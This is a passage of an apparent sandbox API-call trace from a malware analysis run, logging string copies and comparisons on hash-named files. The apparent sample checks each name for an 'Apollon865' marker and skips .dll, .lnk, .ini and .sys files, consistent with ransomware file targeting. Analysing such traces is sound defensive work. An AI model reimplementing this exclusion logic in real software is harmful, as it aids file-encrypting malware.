	[0044.138] lstrcmpiW (lpString1="606D55BC1E", lpString2="Apollon865") returned -1
	[0044.138] lstrlenW (lpString=".dll") returned 4
	[0044.138] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpString2=".dll") returned 1
	[0044.138] lstrlenW (lpString=".lnk") returned 4
	[0044.138] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpString2=".lnk") returned 1
	[0044.138] lstrlenW (lpString=".ini") returned 4
	[0044.138] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpString2=".ini") returned 1
	[0044.138] lstrlenW (lpString=".sys") returned 4
	[0044.138] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpString2=".sys") returned 1
	[0044.138] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 65
	[0044.138] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1"
	[0044.138] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 65
	[0044.138] lstrlenW (lpString="Apollon865") returned 10
	[0044.138] lstrcmpiW (lpString1="01439CBBA1", lpString2="Apollon865") returned -1
	[0044.139] lstrlenW (lpString=".dll") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpString2=".dll") returned 1
	[0044.139] lstrlenW (lpString=".lnk") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpString2=".lnk") returned 1
	[0044.139] lstrlenW (lpString=".ini") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpString2=".ini") returned 1
	[0044.139] lstrlenW (lpString=".sys") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpString2=".sys") returned 1
	[0044.139] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 65
	[0044.139] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E"
	[0044.139] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 65
	[0044.139] lstrlenW (lpString="Apollon865") returned 10
	[0044.139] lstrcmpiW (lpString1="637614A40E", lpString2="Apollon865") returned -1
	[0044.139] lstrlenW (lpString=".dll") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpString2=".dll") returned 1
	[0044.139] lstrlenW (lpString=".lnk") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpString2=".lnk") returned 1
	[0044.139] lstrlenW (lpString=".ini") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpString2=".ini") returned 1
	[0044.139] lstrlenW (lpString=".sys") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpString2=".sys") returned 1
	[0044.139] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 65
	[0044.139] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4"
	[0044.139] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 65
	[0044.139] lstrlenW (lpString="Apollon865") returned 10
	[0044.139] lstrcmpiW (lpString1="CBD85B10A4", lpString2="Apollon865") returned 1
	[0044.139] lstrlenW (lpString=".dll") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpString2=".dll") returned 1
	[0044.139] lstrlenW (lpString=".lnk") returned 4
	[0044.139] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpString2=".lnk") returned 1
	[0044.139] lstrlenW (lpString=".ini") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpString2=".ini") returned 1
	[0044.140] lstrlenW (lpString=".sys") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpString2=".sys") returned 1
	[0044.140] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 65
	[0044.140] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778"
	[0044.140] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 65
	[0044.140] lstrlenW (lpString="Apollon865") returned 10
	[0044.140] lstrcmpiW (lpString1="4057155778", lpString2="Apollon865") returned -1
	[0044.140] lstrlenW (lpString=".dll") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpString2=".dll") returned 1
	[0044.140] lstrlenW (lpString=".lnk") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpString2=".lnk") returned 1
	[0044.140] lstrlenW (lpString=".ini") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpString2=".ini") returned 1
	[0044.140] lstrlenW (lpString=".sys") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpString2=".sys") returned 1
	[0044.140] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 65
	[0044.140] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED"
	[0044.140] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 65
	[0044.140] lstrlenW (lpString="Apollon865") returned 10
	[0044.140] lstrcmpiW (lpString1="47EEB043ED", lpString2="Apollon865") returned -1
	[0044.140] lstrlenW (lpString=".dll") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpString2=".dll") returned 1
	[0044.140] lstrlenW (lpString=".lnk") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpString2=".lnk") returned 1
	[0044.140] lstrlenW (lpString=".ini") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpString2=".ini") returned 1
	[0044.140] lstrlenW (lpString=".sys") returned 4
	[0044.140] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpString2=".sys") returned 1
	[0044.140] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 65
	[0044.140] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E"
	[0044.141] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 65
	[0044.141] lstrlenW (lpString="Apollon865") returned 10
	[0044.141] lstrcmpiW (lpString1="8BC920971E", lpString2="Apollon865") returned -1
	[0044.141] lstrlenW (lpString=".dll") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpString2=".dll") returned 1
	[0044.141] lstrlenW (lpString=".lnk") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpString2=".lnk") returned 1
	[0044.141] lstrlenW (lpString=".ini") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpString2=".ini") returned 1
	[0044.141] lstrlenW (lpString=".sys") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpString2=".sys") returned 1
	[0044.141] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 65
	[0044.141] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30"
	[0044.141] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 65
	[0044.141] lstrlenW (lpString="Apollon865") returned 10
	[0044.141] lstrcmpiW (lpString1="454C39CA30", lpString2="Apollon865") returned -1
	[0044.141] lstrlenW (lpString=".dll") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpString2=".dll") returned 1
	[0044.141] lstrlenW (lpString=".lnk") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpString2=".lnk") returned 1
	[0044.141] lstrlenW (lpString=".ini") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpString2=".ini") returned 1
	[0044.141] lstrlenW (lpString=".sys") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpString2=".sys") returned 1
	[0044.141] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 65
	[0044.141] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB"
	[0044.141] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 65
	[0044.141] lstrlenW (lpString="Apollon865") returned 10
	[0044.141] lstrcmpiW (lpString1="FBFA0392EB", lpString2="Apollon865") returned 1
	[0044.141] lstrlenW (lpString=".dll") returned 4
	[0044.141] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpString2=".dll") returned 1
	[0044.142] lstrlenW (lpString=".lnk") returned 4
	[0044.142] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpString2=".lnk") returned 1
	[0044.142] lstrlenW (lpString=".ini") returned 4
	[0044.142] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpString2=".ini") returned 1
	[0044.142] lstrlenW (lpString=".sys") returned 4
	[0044.142] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpString2=".sys") returned 1
	[0044.142] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 65
	[0044.142] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" | out: lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56"
	[0044.142] lstrlenW (lpString="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 65
	[0044.142] lstrlenW (lpString="Apollon865") returned 10
	[0044.142] lstrcmpiW (lpString1="CDBC3D7D56", lpString2="Apollon865") returned 1
	[0044.142] lstrlenW (lpString=".dll") returned 4
	[0044.142] lstrcmpiW (lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpString2=".dll") returned 1
	[0044.142] lstrlenW (lpString=".lnk") returned 4
	[0044.142] lstrcmpiW (lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpString2=".lnk") returned 1
	[0044.142] lstrlenW (lpString=".ini") returned 4
	[0044.142] lstrcmpiW (lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpString2=".ini") returned 1
	[0044.142] lstrlenW (lpString=".sys") returned 4
	[0044.142] lstrcmpiW (lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpString2=".sys") returned 1
	[0044.142] lstrlenW (lpString="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 65
	[0044.142] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" | out: lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F"
	[0044.142] lstrlenW (lpString="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 65
	[0044.142] lstrlenW (lpString="Apollon865") returned 10
	[0044.142] lstrcmpiW (lpString1="562A778C5F", lpString2="Apollon865") returned -1
	[0044.142] lstrlenW (lpString=".dll") returned 4
	[0044.142] lstrcmpiW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpString2=".dll") returned 1
	[0044.142] lstrlenW (lpString=".lnk") returned 4
	[0044.142] lstrcmpiW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpString2=".lnk") returned 1
	[0044.142] lstrlenW (lpString=".ini") returned 4
	[0044.142] lstrcmpiW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpString2=".ini") returned 1
	[0044.142] lstrlenW (lpString=".sys") returned 4
	[0044.142] lstrcmpiW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpString2=".sys") returned 1
	[0044.143] lstrlenW (lpString="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 65
	[0044.143] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" | out: lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416"
	[0044.143] lstrlenW (lpString="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 65
	[0044.143] lstrlenW (lpString="Apollon865") returned 10
	[0044.143] lstrcmpiW (lpString1="1A64B99416", lpString2="Apollon865") returned -1
	[0044.143] lstrlenW (lpString=".dll") returned 4
	[0044.143] lstrcmpiW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpString2=".dll") returned 1
	[0044.143] lstrlenW (lpString=".lnk") returned 4
	[0044.143] lstrcmpiW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpString2=".lnk") returned 1
	[0044.143] lstrlenW (lpString=".ini") returned 4
	[0044.143] lstrcmpiW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpString2=".ini") returned 1
	[0044.143] lstrlenW (lpString=".sys") returned 4
	[0044.143] lstrcmpiW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpString2=".sys") returned 1
	[0044.143] lstrlenW (lpString="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 65
	[0044.143] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" | out: lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61"
	[0044.143] lstrlenW (lpString="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 65
	[0044.143] lstrlenW (lpString="Apollon865") returned 10
	[0044.143] lstrcmpiW (lpString1="8A21255C61", lpString2="Apollon865") returned -1
	[0044.143] lstrlenW (lpString=".dll") returned 4
	[0044.143] lstrcmpiW (lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpString2=".dll") returned 1
	[0044.143] lstrlenW (lpString=".lnk") returned 4
	[0044.143] lstrcmpiW (lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpString2=".lnk") returned 1
	[0044.143] lstrlenW (lpString=".ini") returned 4
	[0044.143] lstrcmpiW (lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpString2=".ini") returned 1
	[0044.143] lstrlenW (lpString=".sys") returned 4
	[0044.143] lstrcmpiW (lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpString2=".sys") returned 1
	[0044.143] lstrlenW (lpString="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 65
	[0044.143] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="94308059B57B3142E455B38A6EB92015" | out: lpString1="94308059B57B3142E455B38A6EB92015") returned="94308059B57B3142E455B38A6EB92015"
	[0044.143] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0044.143] lstrlenW (lpString="Apollon865") returned 10
	[0044.143] lstrcmpiW (lpString1="8A6EB92015", lpString2="Apollon865") returned -1
	[0044.143] lstrlenW (lpString=".dll") returned 4
	[0044.144] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".dll") returned 1
	[0044.144] lstrlenW (lpString=".lnk") returned 4
	[0044.144] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".lnk") returned 1
	[0044.144] lstrlenW (lpString=".ini") returned 4
	[0044.144] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".ini") returned 1
	[0044.144] lstrlenW (lpString=".sys") returned 4
	[0044.144] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".sys") returned 1
	[0044.144] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0044.144] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" | out: lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9"
	[0044.144] lstrlenW (lpString="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 65
	[0044.144] lstrlenW (lpString="Apollon865") returned 10
	[0044.144] lstrcmpiW (lpString1="E5801A04F9", lpString2="Apollon865") returned 1
	[0044.144] lstrlenW (lpString=".dll") returned 4
	[0044.144] lstrcmpiW (lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpString2=".dll") returned 1
	[0044.144] lstrlenW (lpString=".lnk") returned 4
	[0044.144] lstrcmpiW (lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpString2=".lnk") returned 1
	[0044.144] lstrlenW (lpString=".ini") returned 4
	[0044.144] lstrcmpiW (lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpString2=".ini") returned 1
	[0044.144] lstrlenW (lpString=".sys") returned 4
	[0044.144] lstrcmpiW (lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpString2=".sys") returned 1
	[0044.144] lstrlenW (lpString="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 65
	[0044.144] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" | out: lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6"
	[0044.144] lstrlenW (lpString="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 65
	[0044.144] lstrlenW (lpString="Apollon865") returned 10
	[0044.144] lstrcmpiW (lpString1="2D9F0436E6", lpString2="Apollon865") returned -1
	[0044.144] lstrlenW (lpString=".dll") returned 4
	[0044.144] lstrcmpiW (lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpString2=".dll") returned 1
	[0044.144] lstrlenW (lpString=".lnk") returned 4
	[0044.144] lstrcmpiW (lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpString2=".lnk") returned 1
	[0044.144] lstrlenW (lpString=".ini") returned 4
	[0044.144] lstrcmpiW (lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpString2=".ini") returned 1
	[0044.144] lstrlenW (lpString=".sys") returned 4
	[0044.144] lstrcmpiW (lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpString2=".sys") returned 1
	[0044.145] lstrlenW (lpString="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 65
	[0044.145] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" | out: lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E"
	[0044.145] lstrlenW (lpString="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 65
	[0044.145] lstrlenW (lpString="Apollon865") returned 10
	[0044.145] lstrcmpiW (lpString1="EBC203A31E", lpString2="Apollon865") returned 1
	[0044.145] lstrlenW (lpString=".dll") returned 4
	[0044.145] lstrcmpiW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpString2=".dll") returned 1
	[0044.145] lstrlenW (lpString=".lnk") returned 4
	[0044.145] lstrcmpiW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpString2=".lnk") returned 1
	[0044.145] lstrlenW (lpString=".ini") returned 4
	[0044.145] lstrcmpiW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpString2=".ini") returned 1
	[0044.145] lstrlenW (lpString=".sys") returned 4
	[0044.145] lstrcmpiW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpString2=".sys") returned 1
	[0044.145] lstrlenW (lpString="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 65
	[0044.145] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" | out: lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061"
	[0044.145] lstrlenW (lpString="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 65
	[0044.145] lstrlenW (lpString="Apollon865") returned 10
	[0044.145] lstrcmpiW (lpString1="59DD10F061", lpString2="Apollon865") returned -1
	[0044.145] lstrlenW (lpString=".dll") returned 4
	[0044.145] lstrcmpiW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpString2=".dll") returned 1
	[0044.145] lstrlenW (lpString=".lnk") returned 4
	[0044.145] lstrcmpiW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpString2=".lnk") returned 1
	[0044.145] lstrlenW (lpString=".ini") returned 4
	[0044.145] lstrcmpiW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpString2=".ini") returned 1
	[0044.145] lstrlenW (lpString=".sys") returned 4
	[0044.145] lstrcmpiW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpString2=".sys") returned 1
	[0044.145] lstrlenW (lpString="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 65
	[0044.145] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" | out: lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450"
	[0044.145] lstrlenW (lpString="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 65
	[0044.145] lstrlenW (lpString="Apollon865") returned 10
	[0044.146] lstrcmpiW (lpString1="FABECF9450", lpString2="Apollon865") returned 1
	[0044.146] lstrlenW (lpString=".dll") returned 4
	[0044.146] lstrcmpiW (lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpString2=".dll") returned 1
	[0044.146] lstrlenW (lpString=".lnk") returned 4
	[0044.146] lstrcmpiW (lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpString2=".lnk") returned 1
	[0044.146] lstrlenW (lpString=".ini") returned 4
